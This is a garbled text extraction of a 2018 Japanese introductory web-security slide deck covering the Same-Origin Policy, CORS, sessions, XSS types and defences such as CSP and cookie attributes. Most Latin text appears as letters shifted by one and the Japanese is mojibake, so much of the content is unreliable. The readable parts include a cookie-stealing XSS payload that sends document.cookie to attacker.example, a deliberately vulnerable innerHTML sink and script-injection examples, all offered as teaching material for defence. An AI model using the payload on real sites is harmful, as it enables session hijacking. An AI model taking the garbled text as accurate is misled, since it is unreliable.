    "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN
    "DDFTT$POUSPM"MMPX.FUIPE(&5 1045

    "DDFTT$POUSPM"MMPX)FBEFST93&2)&"%&3
    "DDFTT$POUSPM&YQPTF)FBEFST93&4)&"%&3

    "DDFTT$POUSPM.BY"HF
    ‣ $SPTT0SJHJOͳࢀর͕ڐՄ͞Ε͍ͯΔ0SJHJOͱ ࢖༻ͯ͠ྑ͍ϝιου
    ૹͬͯྑ͍ϔομ ΞΫηεՄೳͳϔομ ༗ޮظݶͳͲͷ෇Ճ৘ใ͕ฦͬ
    ͯ͘Δ

    View Slide

  45. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ϓϦϑϥΠτϦΫΤετͷྫ

    3FRVFTU
    45
    BFYBNQMFDPN CFYBNQMFDPN
    1045KTPO)551

    0SJHJOIUUQBFYBNQMFDPN
    93&2)&"%&340.&7"-6&
    ‣ ϓϦϑϥΠτϦΫΤετͰॴ๬ͷϦΫΤετ΁ͷڐՄ͕͓ΓͨͷͰ ࣮ࡍ
    ʹൃߦ͞ΕΔ

    View Slide

  46. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ϓϦϑϥΠτϦΫΤετͷྫ

    3FTQPOTF
    46
    BFYBNQMFDPN CFYBNQMFDPN
    )5510,

    "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN
    93&4)&"%&340.&3&563/
    ‣ $SPTT0SJHJOͰ΋ΞΫηεՄೳͳϦιʔε ϘσΟͱ93&4)&"%&3ϔο
    μ
    ͕ฦ٫͞ΕΔ

    View Slide

  47. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ൃలෆద੾ͳ$034ར༻ྫ

    ࢓ํͳ͍ͱ͖΋͋Δ͚ΕͲʜ
    47
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Origin: http://example.com
    ‣ ΞελϦεΫ
    Ͱ0SJHJOΛࢦఆ͢Δͷ͸ศར͕ͩ ඇTUBUJDͳ
    ΋ͷʹ·Ͱ෇͚ͯ͠·͏ͱ ηΩϡϦςΟ্ͷ໰୊ʹͳΓ͏Δ
    ‣ FH$43'5PLFO΍ݸਓ৘ใͷಡΈग़͠
    ‣ 0SJHJOΛߜͬͯ΋ ͜ΕΛղऍ͢Δͷ͸͋͘·Ͱϒϥ΢βͰ͋Δ
    ‣ ѱҙͷ͋Δਓ͕ؒ0SJHJOΛվมͯ͠ϦΫΤετΛൃߦͰ͖Δ
    ‣ $034͸ΞΫηεݖݶͷ؅ཧͰ͸ͳ͍ػີ৘ใΛஔ͔ͳ͍

    View Slide

  48. &YFSDJTF

    0SJHJOؔ࿈ͷηΩϡϦςΟ

    ػߏΛ࣮ײ͠Α͏

    View Slide

  49. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    &YFSDJTF$034

    4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏
    49
    ࣍ʹΞΫηεͯ͠ମײ͠Α͏ ԋशωοτϫʔΫ্Ͱ

    IUUQXFCTFDFYBNQMFTPQ
    ‣ ϖʔδԼ෦ʹ$034ؔ࿈ͷσϞ͕͋Γ·͢
    ‣ ઌఔ·Ͱ401Φϯͷͱ͖ʹϒϩοΫ͞Ε͍ͯͨ$SPTT0SJHJOͷ
    ௨৴͕ $034ʹΑΓ؇࿨͞Εͯ௨͍ͬͯΔ
    ‣ ϓϦϑϥΠτϦΫΤετ͕ඈͿ༷ࢠ΋ %FWFMPQFS5PPMTͷ
    /FUXPSLλϒ͔ΒݟͯΈ·͠ΐ͏

    View Slide

  50. $SPTT4JUF4DSJQUJOH
    944ͷݪཧ ࣮ફ ରࡦ

    View Slide

  51. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ͦͷલʹηογϣϯ

    Α͘ݟΔ1)14&44*%౳ͷ΍͍ͬͯΔ͜ͱ
    ‣ )551͸جຊతʹεςʔτϨε TUBUFMFTT
    ͳϓϩτίϧ
    ‣ εςʔτΛอଘ͢ΔͨΊʹΑ͘࢖ΘΕΔͷ͕ηογϣϯ
    ‣ ΫϥΠΞϯτଆͰ͸$PPLJF΍(&5ύϥϝʔλ ޙऀ͸ආ͚Δ΂͖
    ʹ αʔ
    όʔଆ͔Βड͚औͬͨηογϣϯ*%ͱݺ͹ΕΔ΋ͷΛอଘ͓͖ͯ͠
    ‣ αʔόʔଆͰ͸ͦͷηογϣϯ*%ʹඥ͚ͮͯ ඞཁͳσʔλΛه࿥͓ͯ͘͠
    ‣ ࣮༻ྫ
    ‣ FHϢʔβʔػೳ͕͋Δ৔߹ ຖϦΫΤετͰ*%ύεϫʔυΛૹΓ͚ͭΔͷ
    ͸φϯηϯεʜϩάΠϯ࣌ʹηογϣϯʹ৘ใΛඥ͚͓ͮͯ͘
    ‣ ηογϣϯ*%͕౪·ΕΔͱ
    ‣ ηογϣϯʹඥ෇͍ͨ৘ใΛ౪Ί͍ͯΔͷͱ ΄΅
    ಉ͡
    51

    View Slide

  52. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    $SPTT4JUF4DSJQUJOH 944
    BUUBDLTBSFB
    UZQFPGJOKFDUJPO JOXIJDINBMJDJPVTTDSJQUT
    BSFJOKFDUFEJOUPPUIFSXJTFCFOJHOBOE
    USVTUFEXFCTJUFT
    IUUQTXXXPXBTQPSHJOEFYQIQ$SPTTTJUF@4DSJQUJOH@ 944


    l
    944֓ཁ

    $SPTT4JUF4DSJQUJOHͱ͸ҰମԿ͔
    52

    View Slide

  53. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    944ݪཧ

    944͸͍͔ʹͯ͠ى͜Δ͔
    ‣ ίϯςΩετʹݟ߹ͬͨΤεέʔϓ͕ͳ͞Εͳ͍·· Ͳ͔͔͜Β
    ೖྗ͞Εͨจࣈྻ͕ग़ྗ͞ΕΔ͜ͱʹΑΓى͜Δ
    53

    ">


    ͷݕࡧ݁Ռ

    View Slide

  54. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    944Өڹ

    0SJHJOͱ͍͏؍఺͔Βݟͨ944
    ‣ 4BNF0SJHJO1PMJDZʹΑΓ ͋Δ0SJHJO͸ ͦͷ֎෦ͷ0SJHJO
    ͔Β͸σʔλ͕ୣऔ͞Εͳ͍ ˞ྫ֎͸͋Δ
    ɻ
    ‣ 944͸ͦͷ0SJHJOͷ಺෦ʹ৵ೖ͢Δ߈ܸ ͩͱଊ͑ΒΕΔɻ
    ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ
    54
    Origin A

    εΫϦϓτૠೖ

    View Slide

  55. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    3FqFDUFE944

    944ͷ෼ྨ
    55
    ࢦఆͨ͠ϦΫΤετΛඪత͕ൃߦ͢ΔΑ͏༠ಋ

    FHIUUQFYBNQMFDPN TFBSDITDSJQUBMFSU
    TDSJQU

    ඪత͕༠ಋ͞ΕͯϦΫΤετΛൃߦ
    Ԛછࡁίϯςϯπͷฦ٫

    FHITDSJQUBMFSU
    TDSJQUͰͷݕࡧ݁ՌI

    View Slide

  56. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    4UPSFE944

    944ͷ෼ྨ
    56
    ѱҙͷ͋ΔεΫϦϓτΛೖྗ஋ͱͯ͠஫ೖ

    FHϒϩάͷίϝϯτͱͯ͠TDSJQUBMFSU
    TDSJQUΛૹ৴

    อଘ
    อଘ
    ΞΫηε
    Ԛછࡁίϯςϯπͷฦ٫

    View Slide

  57. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    %0.

    %PDVNFOU0CKFDU.PEFM
    ‣ )5.- ΍9.-
    ͷߏ
    ଄ʹΞΫηε͢ΔͨΊ
    ͷ࿮૊
    ‣ จষߏ଄Λ5SFFܗͷ
    Ϟσϧͱͯ࣋ͭ͠
    ‣ 8)"58(ʹΑΔఆٛ

    IUUQTEPNTQFDXIBUXHPSH
    57






    View Slide

  58. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    %0.#BTFE944

    944ͷ෼ྨ
    58
    document.getElementById("query").innerHTML =
    ''+decodeURI(location.hash.substring(1))+'';
    ‣ %0.ૢ࡞ʹΑͬͯҾ͖ى͜͞ΕΔ944Λ%0.#BTFE944ͱݺͿ
    ‣ ଞͷ944छ͸֓ͶUBJOUFEͳίʔυ͕ฦͬͯ͘Δͷʹର͠
    %0.#BTFE944Ͱ͸UBJOUFEͰͳ͍ίʔυ͕ฦͬͯ͘Δ৔߹΋͋
    Δ

    View Slide

  59. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ͍͔ʹͯ͠৵ೖ͢Δ͔

    $PPLJFΛ౪Ήͱ͍͏͜ͱ
    59
    ‣ EPDVNFOUDPPLJF͕౪·ΕΔͱͲ͏ͳΔ͔
    ‣ ηογϣϯ؅ཧʹ͸͠͹͠͹$PPLJF͕࢖ΘΕΔ 㲎)551͸εςʔτϨε

    ‣ ηογϣϯ͕౪·ΕΔ͜ͱ͸ JE QBTTXPSE
    ͕౪·ΕΔ͜ͱʹ͍ۙ
    ‣ ΋ͪΖΜݫີʹ͸ҰॹͰ͸ͳ͍͕
    ‣ ߈ܸऀ͸౪Μͩ$PPLJFΛ࢖ͬͯ ߈ܸର৅ͷηογϣϯΛୣ͑Δ
    
<br/>document.location = '//attacker.example/?' + document.cookie; 
<br/>

    View Slide

  60. &YFSDJTF

    944ͷݪཧΛཧղ͠Α͏

    View Slide

  61. &YFSDJTF

    $PPLJFΛୣऔͯ͠ΈΑ͏

    View Slide

  62. &YFSDJTF

    944$IBMMFOHF

    View Slide

  63. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    944$IBMMFOHF!0LBZBNB

    ·͔ͣΜͨΜͳറΓ෇͖944ʹ௅ઓͯ͠ΈΑ͏
    ͜Ε͸ԼهϦϯΫ͔ΒΦϯϥΠϯͰ௅ઓՄೳͰ͢
    IUUQTYTTTIJGUKTJOGP
    63

    View Slide

  64. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    944ൃల

    944ؔ࿈ٕज़ͷைྲྀ
    64
    ೥͝Ζ
    ೥͝Ζ
    ೥͝Ζ
    ೥͝Ζ
    944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ

    $SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTFͳͲ

    %0.#BTFE944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ

    IUUQXXXXFCBQQTFDPSHQSPKFDUTBSUJDMFTTIUNM

    4DSJQUMFTT"UUBDLͱ͍͏֓೦͕ग़ݱ͢Δ

    )FJEFSJDIFUBM IUUQTXXXOETSVCEFNFEJBFNNB
    WFSPF⒎FOUMJDIVOHFOTDSJQUMFTT"UUBDLTDDTQEG
    4DSJQU(BEHFUTͱ͍͏ݴ༿͕ग़ݱ͢Δ

    -FJLJFTFUBM IUUQTHJUIVCDPNHPPHMFTFDVSJUZSFTFBSDIQPDT
    USFFNBTUFSTDSJQUHBEHFUT

    View Slide

  65. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    944ରࡦ

    ͍͔ʹͯ͠कΔ͔
    65
    ࣮૷ w σʔλͷྲྀΕɾจ຺ʹԠͨ͡Τεέʔϓॲཧ
    ݕࠪ w े෼ͳηΩϡϦςΟςετ
    w े෼ͩͱࢥ͏੍໿΋ Ҋ֎ෆे෼͔΋
    w ෆద੾ͳ࣮૷ %PVCMF&ODPEJOH FUD
    ͸
    ͠͹͠͹࣮૷͔Βݟ͑ʹ͍͘
    ༧๷ w $POUFOU4FDVSJUZ1PMJDZͷઃఆ౳
    w ࣮ߦ͞Εͯ΋ඃ֐Λ཈͑ΒΕΔΑ͏ʹ

    View Slide

  66. 'VUVSF

    8FCʹ͓͚Δ

    ηΩϡϦςΟڥքͷ

    ՝୊ͱະདྷ

    View Slide

  67. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ՝୊ෆଗ͍ͳڥքͨͪ

    $PPLJFͷ΋ͭྺ࢙తܦҢ
    67
    ‣ $PPLJF͸0SJHJOϥΠΫͳผͷઢҾج४Λ࣋ͭ
    ‣ FHQBUI΋ߟྀ͞ΕΔ
    ‣ FH਌υϝΠϯʹ$PPLJFΛઃఆͨ͠ΓͰ͖Δ
    ‣ $PPLJFͷొ৔͸401౳ͷొ৔ΑΓલͩͬͨͨΊ
    ‣ $PPLJF͕౪·Ε͏Δঢ়گͰ͸ ηογϣϯΛ౪·ΕΔ͏Δ
    ‣ εςʔτϨεͳ)551ʹͱͬͯ ͜Ε͸க໋తͳ͜ͱ
    ‣ ʮ͍͔ʹͯ͠$PPLJFΛकΔ͔ ʯͱ͍͏ͷ͸ॏཁͳ૪఺Ͱ͋Δ

    View Slide

  68. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ະདྷ$PPLJF

    $PPLJFΛ͍͔ʹͯ͠कΔ͔ͷྫ
    ‣ 4FDVSF$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM


    ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ )5514Λ༻͍ͨ௨৴ͰͷΈૹ৴͞ΕΔ
    ‣ )UUQ0OMZ$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM


    ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ EPDVNFOUDPPLJF͔ΒΞΫηεͰ͖ͳ͍
    ‣ 4BNFTJUF$PPLJF IUUQTUPPMTJFUGPSHIUNMESBGUXFTUpSTUQBSUZDPPLJFT


    ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ ΫϩεαΠτͳϦΫΤετͷࡍʹ $PPLJFૹ৴͕
    ੍ݶ͞ΕΔ
    ‣ ηοτ͞ΕΔ஋ MBY͔TUSJDU
    ʹԠͯ͡ڍಈ͕ҟͳΔͷͰ஫ҙ
    68

    View Slide

  69. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ՝୊0SJHJO

    ྺ࢙తʹ੾Γ෼͚ΒΕͳ͍0SJHJOୡ ·ͨઃఆͷ೉͠͞
    ‣ ྺ࢙తܦҢ͔Β੾Γ෼͚ΒΕ͍ͯͳ͍0SJHJO΋ଘࡏ͢Δ
    ‣ ྫIUUQTXXXHPPHMFDPNNBQTͱIUUQTXXXHPPHMFDPN
    ‣ 0SJHJOͷ෼ׂʹΑΓ 401΍$034ͳͲͷԸܙΛड͚ΒΕΔ
    ‣ ͍͔ʹͯ͠ޙํޓ׵ੑΛอͪͭͭ΋ ΑΓ҆શͳੈքΛ࡞Δ͔
    ‣ ͖Ε͍ʹ੾Γ෼͚ΒΕ͍ͯͯ΋໰୊͸͋Δ
    ‣ جຊతʹݱঢ়ͷηΩϡϦςΟϙϦγʔ $41 $034 )454 )1,1
    3FGFSSFS1PMJDZ
    ͸ ϦΫΤετ͝ͱʹ෇༩͢Δඞཁ͕͋Δ͕ʜ
    ‣ ௨৴ճ਺ͷ૿େ $0341SFqJHIU3FRVFTUͳͲ

    ‣ ϔομαΠζͷ૿େ
    ‣ ઃఆ΋ΕͷՄೳੑ
    69

    View Slide

  70. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ະདྷ0SJHJO

    0SJHJOΛ͍͔ʹ֦ͯ͠ு͢Δ͔
    ‣ 4VCPSJHJOT IUUQTXDHJUIVCJPXFCBQQTFDTVCPSJHJOT


    ‣ ͋ΔҰͭͷ0SJHJOΛ ΑΓࡉ͔͘෼ྨ͢ΔͨΊͷ࢓༷
    ‣ 4VCPSJHJOϔομʹΑΓOBNFTQBDFͱݺ͹ΕΔ΋ͷΛ഑৴
    ‣ TDIFNF IPTU QPSU OBNFTQBDF
    Λ4VCPSJHJOͱ͠ ࣮༻্͸͜ΕΛγ
    ϦΞϥΠζͨ͠΋ͷΛ0SJHJOͱ͢Δ
    ‣ 0SJHJO1PMJDZ IUUQTXJDHHJUIVCJPPSJHJOQPMJDZ


    ‣ 4FD0SJHJO1PMJDZϔομʹΑΓ͋Γ͔͕஌Β͞ΕΔ0SJHJO.BOJGFTUͱݺ
    ͹ΕΔ+40/ܗࣜͷ΋ͷΛ࢖ͬͯ 0SJHJOશମʹରͯ͠ ηΩϡϦςΟϧʔ
    ϧΛ഑৴ $41 )454 )1,1

    ‣ 4JUF8JEF)551)FBEFSTͷΑ͏ͳྨࣅϓϩϙʔβϧ΋͋Δ
    70

    View Slide

  71. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ՝୊8FC"1*

    ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢β
    ‣ ϒϥ΢βʹࡌ͍ͬͯΔػೳ͸༷ʑ
    ‣ 7JCSBUJPO (FPMPDBUJPO $BNFSB .JDSPQIPOF
    ‣ ػೳ͕૿͑Δͨͼʹ ηΩϡϦςΟϦεΫ΋૿େ͢Δ
    ‣ ͻͱͨͼ᠘αΠτΛ౿ΜͰ͠·ͬͨΒ
    ‣ 944ʹΑΓਖ਼نαΠτʹ߈ܸऀ͕ѱҙ͋ΔεΫϦϓτΛຒΊࠐΜͩΒ
    ‣ ͜Ε͸୭ͷ͍ͤ
    ‣ $41΍JGSBNFࣗମʹ΋TBOECPYػߏ͸͋Δ΋ͷͷ ෆे෼
    ‣ શίϯςΩετʹҰ؏ੑΛอͬͨঢ়ଶͰ੍ݶΛՃ͑Δ͜ͱ͕೉͍͠
    ‣ ௨ৗEJTBCMF͞Ε͍ͯΔػೳΛ໌ࣔతʹFOBCMF͢Δػೳ͕ͳ͍
    71

    View Slide

  72. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ະདྷ8FC"1*

    ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢βΛ ͍͔ʹͯ͠कΔ͔
    ‣ 'FBUVSF1PMJDZ IUUQTXJDHHJUIVCJPGFBUVSFQPMJDZ


    ‣ )551ϔομΛ௨ͯ͠ ϒϥ΢βػೳΛ໌ࣔతʹ༗ޮԽɾແޮԽ͢ΔͨΊͷ
    ηΩϡϦςΟϙϦγʔ
    ‣ 0SJHJOผ ػೳผʹهड़Մೳ
    ‣ 'FBUVSF1PMJDZϔομΛ࢖༻
    72
    // from https://wicg.github.io/feature-policy/#examples
    Feature-Policy: vibrate 'none'; geolocation 'none'
    Feature-Policy: geolocation 'self' https://example.com

    View Slide

  73. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ՝୊։ൃऀͱͷڠௐ

    ࢖͍΍͘͢ ཧղ͠΍͘͢ ͔ͭ҆શΛ΋ͨΒͤΔڥքΛ
    ‣ ཧ૝ͱݱ࣮ͷࠩ͸͋Δ
    ‣ ࣮ӡ༻Ͱ͸ ͠͹͠͹ޡͬͨPSແྗͳ$41͕ઃఆ͞Ε͍ͯΔ
    ‣ ࢀߟ8FJDITFMCBVNFUBMͷ$41JTEFBE MPOHMJWF$410OUIF
    JOTFDVSJUZPGXIJUFMJTUTBOEUIFGVUVSFPGDPOUFOUTFDVSJUZQPMJDZ
    ‣ ৽͍͠ϒϥ΢βଆηΩϡϦςΟϙϦγʔΛ࡞੒ɾಋೖ͠Α͏ͱͯ͠΋ ޙํ
    ޓ׵ੑͷରԠ͕େม
    ‣ FH$41ͷTUSJDUEZOBNJDʜجຊతʹ͸XIJUFMJTUCBTFEͳϧʔϧͱ
    ซ༻Ͱ͖ͳ͍͕ ॻ͔ͳ͍ͱTUSJDUEZOBNJDඇରԠϒϥ΢βͰ$41͕
    ແྗʹͳͬͯ͠·͏ ͱ͍ͬͨ໰୊
    ‣ ޙํޓ׵ੑ લํޓ׵ੑΛҙࣝͨ͠ൃల͕ཁ੥͞Ε͍ͯΔ
    73

    View Slide

  74. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣍ʹֶͿ΂͖͜ͱ

    Φεεϝͷॻ੶ɾ࿩୊ɾจॻ
    ‣ 5IF5BOHMFE8FC"(VJEFUP4FDVSJOH.PEFSO8FC
    "QQMJDBUJPOT
    ‣ ๜༁൛ΊΜͲ͏͍͘͞8FCηΩϡϦςΟ
    ‣ ͲͪΒ΋ଟ͘ͷΤοδέʔε΍ྺֶ࢙΂Δຊ
    ‣ 5IF#SPXTFS)BDLFST)BOECPPL
    ‣ ๜༁൛ϒϥ΢βϋοΫ
    ‣ ͍͔ʹ߈ܸ͢Δ͔ʹϑΥʔΧεΛ౰ֶͯͭͭ΂Δ ໘ന͍ຊ
    ‣ )PXUIF8FC5BOHMFE*UTFMG6ODPWFSJOHUIF)JTUPSZPG
    $MJFOU4JEF8FC *O
    4FDVSJUZ
    ‣ IUUQTQVCMJDBUJPOTDJTQBTBBSMBOEBSDIJWFPSHpOBMQEG
    ‣ ྺ࢙Λަ͑ͯͬ͘͟Γͱ͜Ε·Ͱͷைྲྀ΍ݱঢ়Λ೺Ѳ͢Δͷʹ͸ྑ͍
    74

    View Slide

  75. $PODMVTJPO
    ຊ೔ͷ·ͱΊ

    View Slide

  76. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    0VUMJOF
    ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ
    ‣ ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢
    ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք
    ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 

    0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢
    ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ
    ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢
    ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ
    ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢
    76

    View Slide

  77. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    (PBMT ࠶ܝ

    ຊߨٛͰ໨ࢦ͢ͱ͜Ζͷ࠶֬ೝ
    ‣ ֶͼ͍ͨ͜ͱ
    ‣ 8FC4FDVSJUZCZ%FTJHOઃܭஈ֊͔Βͷ8FCηΩϡϦςΟ
    ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ
    ‣ Ͱ͖ͨΒ
    ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػ
    ߏʹؔ͢Δ࿩
    ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ
    ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠
    ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ
    ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠
    77

    View Slide

  78. "OZ2VFTUJPOT
    5BLBTIJ:POFVDIJ
    KB!MNU@TXBMMPX FO!ZOVDIZ
    IUUQTTIJGUKTJOGP

    View Slide

  79. "QQFOEJY"

    944ͷεεϝ

    View Slide

  80. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣮ࣾձͰͷ944

    ੍໿ͱͷઓ͍
    ‣ ૉ௚Ͱ͸ͳ͍γνϡΤʔγϣϯͰͷ944͸͠͹͠͹ݟ͔ͭΔ
    ‣ FH͋Δจࣈ͕࢖͑ͳ͍
    ‣ FH$41ʹΑΓಛఆ৚݅ԼͰ͔͠εΫϦϓτ͕ಈ͔ͤͳ͍
    ‣ FH͋Δϒϥ΢βػೳΛ࢖Θͳ͍ͱಈ͔ͳ͍
    ‣ ʮཧ࿦্ ո͍͠ڍಈ͸શ෦௵ͤ͹Α͍ͷͰ͸ ʯ
    ‣ ͓͕ۚབྷΉͱͦΕ͸೉͍͠
    ‣ ࣮ࡍʹةݥੑ͕͋Δͱݴͬͯ΋ ߈ܸ͕௨Βͳ͍ͳΒ ϓϥΠΦϦςΟ͸௿͍
    ‣ આಘྗΛ࣋ͬͨใࠂͷͨΊʹ͸ ࣮ࡍʹڴҖͨΓ͏Δ߈ܸܦ࿏Λఏࣔ͢Δ
    1P$Λఏࣔ͢Δ
    ͜ͱ͕ Ұ൪ڹ͘ ͱ๻͸ࢥ͍ͬͯΔ

    ‣ ୳͢ͷʹ΋͕͔͔࣌ؒΔͷͰ ΋ͪΖΜόϥϯε͸େࣄ
    80

    View Slide

  81. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ޿͕Δ944$IBMMFOHF

    944$IBMMFOHFʹ௅ઓͯ͠ΈΑ͏
    ‣ 3FTFBSDIFSୡ͔Β೔ʑ৽944$IBMMFOHFωλ͕ग़͍ͯΔ
    ‣ τϨϯυ΍࠷৽࢓༷Λ௥͏ͨΊʹ͘͢͝໾ʹཱͭ
    ‣ ݸਓతͳ͓͢͢Ίͷ944$IBMMFOHF͸Լه
    ‣ 944HBNFCZ(PPHMF

    IUUQTYTTHBNFBQQTQPUDPN
    ‣ 9441PMZHMPU$IBMMFOHFCZ!pMFEFTDSJQUPS

    IUUQTQPMZHMPUJOOFSIUNM
    ‣ 944$IBMMFOHFTCZ$VSF

    IUUQTHJUIVCDPNDVSF944$IBMMFOHF8JLJXJLJ
    81

    View Slide

  82. "QQFOEJY#

    $41$POUFOU
    4FDVSJUZ1PMJDZ

    View Slide

  83. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    $POUFOU4FDVSJUZ1PMJDZ

    $41ͱ͸ҰମԿ͔
    ‣ $POUFOU4FDVSJUZ1PMJDZ $41
    ͱ͸ 944΍ͦͷଞσʔλΠϯ
    δΣΫγϣϯܥͷ߈ܸ͔ΒकΔͨΊͷ ௥Ճ๷ޚϨΠϠ
    ‣ ͬ͘͟Γݴ͏ͱ ֎෦Ϧιʔε +4 JNH GPOU FUD
    ͷಡΈग़͠ݩ
    ͷ੍ݶ΍ ͦͷଞͷηΩϡϦςΟػߏͷ ؆୯ͳ
    ੍ޚʹ࢖͑Δ
    83
    2010
    'JSTU1SPQPTFE
    2012 2016
    8$$3
    $41
    8$3&$
    $41-W
    2018
    8$8%
    $41-W

    View Slide

  84. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣮ྫ

    ࣮ੈքʹ͓͚Δ$POUFOU4FDVSJUZ1PMJDZͷ࢖༻ྫ
    ‣ Ϟμϯͳେख8FCαʔϏε
    ‣ (JU)VC
    ‣ 5XJUUFS
    ‣ 'BDFCPPL
    ‣ FUD
    ‣ 8FCαʔϏεҎ֎ͷ҆શੑ
    Λ୲อ͢΂͖ͱ͜Ζ
    ‣ $ISPNF&YUFOTJPO
    ‣ 'JSFGPY"EEPO
    ‣ FUD
    84
    l
    *OPSEFSUPNJUJHBUFBMBSHFDMBTT
    PGQPUFOUJBMDSPTTTJUFTDSJQUJOH
    JTTVFT $ISPNFTFYUFOTJPO
    TZTUFNIBTJODPSQPSBUFEUIF
    HFOFSBMDPODFQUPG$POUFOU
    4FDVSJUZ1PMJDZ $41

    IUUQTEFWFMPQFSDISPNFDPNFYUFOTJPOT
    DPOUFOU4FDVSJUZ1PMJDZ

    View Slide

  85. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    $41ͷ࢖͍ํ

    ϔομPSNFUB
    ‣ $41ͷઃఆํ๏͸௨Γ͋Δ
